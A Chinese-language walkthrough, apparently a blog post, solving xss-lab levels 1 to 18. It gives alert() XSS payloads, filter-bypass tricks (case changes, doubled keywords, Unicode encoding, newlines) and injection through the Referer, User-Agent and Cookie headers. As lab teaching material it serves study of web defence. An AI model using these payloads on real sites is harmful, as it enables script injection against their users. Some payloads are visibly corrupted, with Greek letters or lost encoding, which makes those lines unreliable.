文章目录
XSS攻击-xss-lab(1-18)详细讲解
XSS_LAB XSS漏洞总结 (含做题思路和方法)
level1
没啥好说的?name=<script>alert(123)</script>
level2
二话不说输入<script>alert(123)</script>
点击搜索
没反应
上探测用的万能语句,点击搜索
用于探测的万能语句:
<SCRscriptIPT>'"()Oonnjavascript
看结果,万能探测语句'"()Oonnjavascript的双引号前面的内容'被放到value值里面了,双引号后面的内容被当成了一个属性,意思就是双引号是value值的闭合字符
构造语句,先用双引号闭合value,然后因为input标签里面每个属性之间要用空格隔开 ,所以双引号后面加一个空格,再用onfocus事件来执行js代码alert(123),因为属性与属性之间用空格隔开,为了防止出错,任何情况下都在属性后面加一个空格,所以这个地方我们加一个空格,最后用>来闭合<input
onfocus事件用法:放在input标签里面,作为一个属性,οnfοcus=javascript:alert(123)
注意:onfocus=javascript:alert(123)后面加一个空格,因为onfocus事件是一个属性,后面空格不要漏,不然有些情况下会出错
" onfocus=javascript:alert(123) >
看结果,这里注意,onfocus事件只有当input输入框聚焦时也就是被点击时才会触发,所以我们点一下输入框,可以了
level3
二话不说,上探测的万能语句:
'"()Oonnjavascript
发现单引号前面的内容被赋值给了value,也就是说单引号是value的闭合字符,构造语句开头一个单引号,后面加一个空格(input标签里面属性直接用空格隔开)剩余内容跟第二题一样
' onfocus=javascript:alert(123) >
level4
跟上面一样用探测的万能语句:
'“()Oonnjavascript
闭合字符为”,其他跟第二题一样
" onfocus=javascript:alert(123) >
level5
跟上面一样用探测的万能语句:
'"()Oonnjavascript
发现闭合字符为双引号,并且o后面被自动添加了下划线_
用 标签解决
a标签用法<a href= > haha
需要注意的是a标签不是用在input标签里面的,所以需要将input标签闭合后使用
构造,先用"闭合value,再用>闭合input,然后用a标签
" ><a href=javascript:alert(123)>haha</a>
点击haha,可以了
level6
跟上面一样用探测的万能语句:
'"()Oonnjavascript
闭合字符是双引号
用onfocus事件,报错,给你在o后面加了下划线
用a标签,报错,给你在r后面加了下划线
o跟r后面被加了_防止xss,试试大写R能不能绕过检测,可以了
" ><a hRef=javascript:alert(123)>haha</a>
level7
跟上面一样用探测的万能语句:
'"()Oonnjavascript
发现闭合字符是双引号,并且script被过滤了,on也被过滤了,双写绕过
" oonnfocus=javascscripscrips:alert(123) >
level8
跟上面一样用探测的万能语句:
'"()Oonnjavascript
发现语句通过链接跑下面来了,输入的内容进入了a标签href里面
那么我们直接输js代码试试javascript:alert(1)
r后面被加了下划线,换成大写R,也不行,大写直接被转换成小写,后面依旧有下划线
那就用Unicode编码试试
javascript:alert(1)
level9
跟上面一样用探测的万能语句:
'"()Oonnjavascript
显示链接不合法
这题跟第八题一样,语句通过链接跑下面来了,输入的内容进入了a标签href里面,用javascript:alert(1)
测试一下,也是链接不合法
那么我们找一个正常的链接
把这个链接地址放后面https://github.com/,需要注意的是要将https改为http,因为https是加密的协议,我觉得可能不能够用来当做跳转链接,另一个要注意的点就是js语句跟链接中间要加上//
否则js语句不会被执行
javascript:alert(1)//http://github.com/
连接添加成功,但是字母r后面被添加了下划线,换成大写R也不行
那么跟第八题一样,将字母r转化为Unicode编码试试,可以了
javascript:alert(1)//http://github.com/
level10
跟上面一样用探测的万能语句:
'"()Oonnjavascript
?keyword=<SCRscriptIPT>'"()Oonnjavascript
&t_link=123&t_history=456&t_sort=789
发现三个参数的value值都是空的
我们测试一下三个参数
依旧用探测的万能语句:
?keyword=123&t_link=<SCRscriptIPT>'"()Oonnjavascript&t_history=<SCRscriptIPT>'"()Oonnjavascript&t_sort=<SCRscriptIPT>'"()Oonnjavascript
发现探测语句只进入了参数t_sort ,闭合字符为双引号,并且<>被过滤了,看下面图,我们探测的时候用的是,到了value值里面就变成了SCRscriptIPT,括号被过滤了。
所以我们接下来要做得事情是,首先&参数t_sort,然后用双引号闭合value值,接着将type类型从hidden隐藏改为text文本,再用onfocus事件触发js语句,最后别忘了,因为我们用双引号闭合了value,所以value本身有的一个双引号多出来了,我们在οnfοcus="javascript:alert(123) 也就是javascript前面加一个双引号,来闭合value多出来的双引号,其实嘛xss呀sql注入呀,最麻烦的就是闭合,闭合搞定了,剩下的就简单了
说干就干
?keyword=123&t_sort=" type=text οnfοcus="javascript:alert(123)
level11
这题开始就不一样了
输入?keyword=123,抓包
在请求报文里面加referer头为123,参数t_ref的value值就变成123
知道这一点就简单了,后面内容跟第十题一样
referer:" type=text οnfοcus="javascript:alert(123)
level12
十一题会了十二题就简单了,打开一看好家伙,参数t_ua的value值不就是,User-Agent:后面的内容吗,抓个包,改一下User-Agent:后面的内容看看
果然,意料之中
剩下的就跟第十题和十一题一样了
User-Agent:" type=text οnfοcus="javascript:alert(123)
level13
十三题跟上面一样,一看应该是cookie
抓个包,Cookie一栏中user后面输入123,PHPSESSID后面输入456,看一下结果,结果说明user后面的内容全部放进value中了,那其余内容就跟10,11,12题一样了
Cookie: user=" type=text οnfοcus="javascript:alert(123)
level14
iframe调用的文件地址无法访问,本体题目已经无法做了
level15
因为十四关题目出问题了,所以先回到13关,然后url栏改为level15.php直接来到15关
?src='level1.php?name=<img src=1 οnerrοr=alert(123)>'
level16
做这一题前先搞清楚一个参数,就是keyword
keyword参数是显示在没有找到和good job!相关结果这里的,也就是说,看我们的head头,十二关完成后十三关会给你自动加上?keyword=goodjob
那么十六关我们发现,这个center标签中间的内容是空的,用参数keyword试一下
果然keyword后面的内容放center标签里面了
然后我们用a标签<a href=javascript:alert(/dreeee/)>别点我没结果</a>去测试 用<script>alert(123)</script> 去
测试
发现空格和/和script都被转成 
那么就用img标签
空格不能用,img标签又是支持换行的
所以
<img
src=1
onerror=alert(123)>
换行符的url码是%0A
所以
?keyword=<img%0Asrc=1%0Aonerror=alert(123)>
level17
?arg01=a&arg02=b οnmοuseοver=alert(123)
level18
?arg01=a&arg02=b οnmοuseοver=alert(123)
XSS总结
用于探测的万能语句:
<SCRscriptIPT>'"()Oonnjavascript
<script>alert(123)</script>
闭合(难点)
事件:οnmοuseοver、onfocus ----onfocus=javascript:alert(123)---οnmοuseοver=alert(123)-----
img标签 <img src=1 onerror=alert(123)>
a标签 <a href=javascript:alert(123)>haha</a>
Unicode编码绕过,大小写绕过,双写绕过
a标签href后面javascript:alert(123)//http://github.com/
抓包改referer,cookie,User-Agent: